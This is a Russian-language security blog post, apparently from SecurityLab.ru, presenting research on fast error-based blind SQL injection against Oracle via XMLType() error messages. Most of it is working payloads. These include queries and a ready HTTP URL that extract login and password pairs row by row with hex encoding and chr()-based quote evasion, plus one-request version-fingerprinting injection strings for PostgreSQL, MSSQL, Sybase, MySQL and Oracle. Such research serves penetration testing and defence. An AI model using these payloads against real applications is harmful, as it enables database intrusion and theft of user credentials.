Быстрые техники эксплуатации blind SQL Injection в Oracle

Быстрые техники эксплуатации blind SQL Injection в Oracle
Обладая интересной подборкой быстрых способовэксплуатации слепых SQL-инъекций, мне недоставало аналогичных техник под не менее распространенную СУБД Oracle. Это побудило меня провести небольшой ресерч, направленный на поиск подобных техник в указанной базе данных. Убедившись в том, что все известные способы эксплуатации error-based blind SQL Injection не работают в среде оракла, мое внимание привлекли функции взаимодействия с форматом XML. Немного поковырявшись в них, была обнаружена функция XMLType(), которая возвращает в сообщении об ошибке первый символ из запрашиваемых данных (LPX-00XXX): SQL> select XMLType((select 'abcdef' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00210: expected '<' instead of 'a' Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 301 ORA-06512: at line 1 no rows selected SQL> name='more'> Уже хлеб. Используя функцию substr() становиться возможным посимвольное чтение требуемой информации. Например, можно достаточно быстро определить версию установленной базы данных: select XMLType((select substr(version,1,1) from v$instance)) from users; select XMLType((select substr(version,2,1) from v$instance)) from users; select XMLType((select substr(version,3,1) from v$instance)) from users; ...и т.п. Считывание одного символа в один запрос при эксплуатации слепых SQL-инъекций это здорово, но было бы глупо останавливаться на достигнутом. Продолжая копать функцию XMLType() мне удалось найти аналогичный способ проброса данных в сообщении об ошибке, который существует и в других базах данных: SQL> select XMLType((select '<abcdef:root>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix "abcdef" is not declared ... SQL> select XMLType((select '<:abcdef>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00110: Warning: invalid QName ":abcdef" (not a Name) ... SQL> Вроде бы все замечательно, но есть несколько подводных камней. Первая загвоздка заключается в том, что в оракле не происходит автоматическое приведение типов. Поэтому такой запрос выдаст ошибку: SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual); select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual) ERROR at line 1: ORA-00932: inconsistent datatypes: expected NUMBER got - Второй нюанс заключается в том, что у ораклятины отсутствует limit и offset, что не позволяет простым путем осуществлять построчное чтение данных. И третья проблема связана с тем, что функция XMLType() при обработке ошибки обрезает возвращаемые данные после некоторых символов. Например, когда в строке встречается пробел или символ at ("@") и др.. Но все можно разрулить;) Для решения проблемы с приведением типов может использоваться функция upper(). Организовать построчное чтение данных, можно с использованием следующей нехитрой конструкции: select id from(select id,rownum rnum from users a)where rnum=1; select id from(select id,rownum rnum from users a)where rnum=2; ... Ну, а для того, чтобы избежать потерю возвращаемых данных, может использоваться hex-кодирование. Опционально, можно также избавиться от кавычек в отправляемом запросе используя числовое представление символов (ascii), что в перспективе позволит обходить фильтрацию при обработке поступающих данных в приложение. Таким образом, конечный запрос примет следующий вид: select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual); select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual); ... Используя данную технику за один http-запрос можно считывать до 214 байт в приложении (107 символов при использовании hex-кодирования), которое функционирует под управлением СУБД Oracle >=9.0 и возвращает сообщение об ошибке: http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)-- Для декодирования получаемых данных из приложения при эксплуатации SQL-инъекции описанным способом, в том числе, может использоваться стандартная функция оракла utl_raw.cast_to_varchar2(): Таким образом, учитывая предыдущую публикацию на эту тему, доступны универсальные и быстрые техники эксплуатации error-based blind SQL Injection для следующих СУБД: PostgreSQL, MSSQL, Sybase, а также для MySQL версии >=4.1 и Oracle версии >=9.0. Для идентификации используемой версии базы данных в один http-запрос, могут применяться следующие конструкции: PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)-- ИЛИ /?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)-- MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
research публикации SQL-Injection уязвимости web
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
310K
долларов
до 18 лет
Антипов жжет
Ребёнок как убыточный
актив. Считаем честно.
Почему рожают меньше те, кто умеет считать на десять лет вперёд.

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS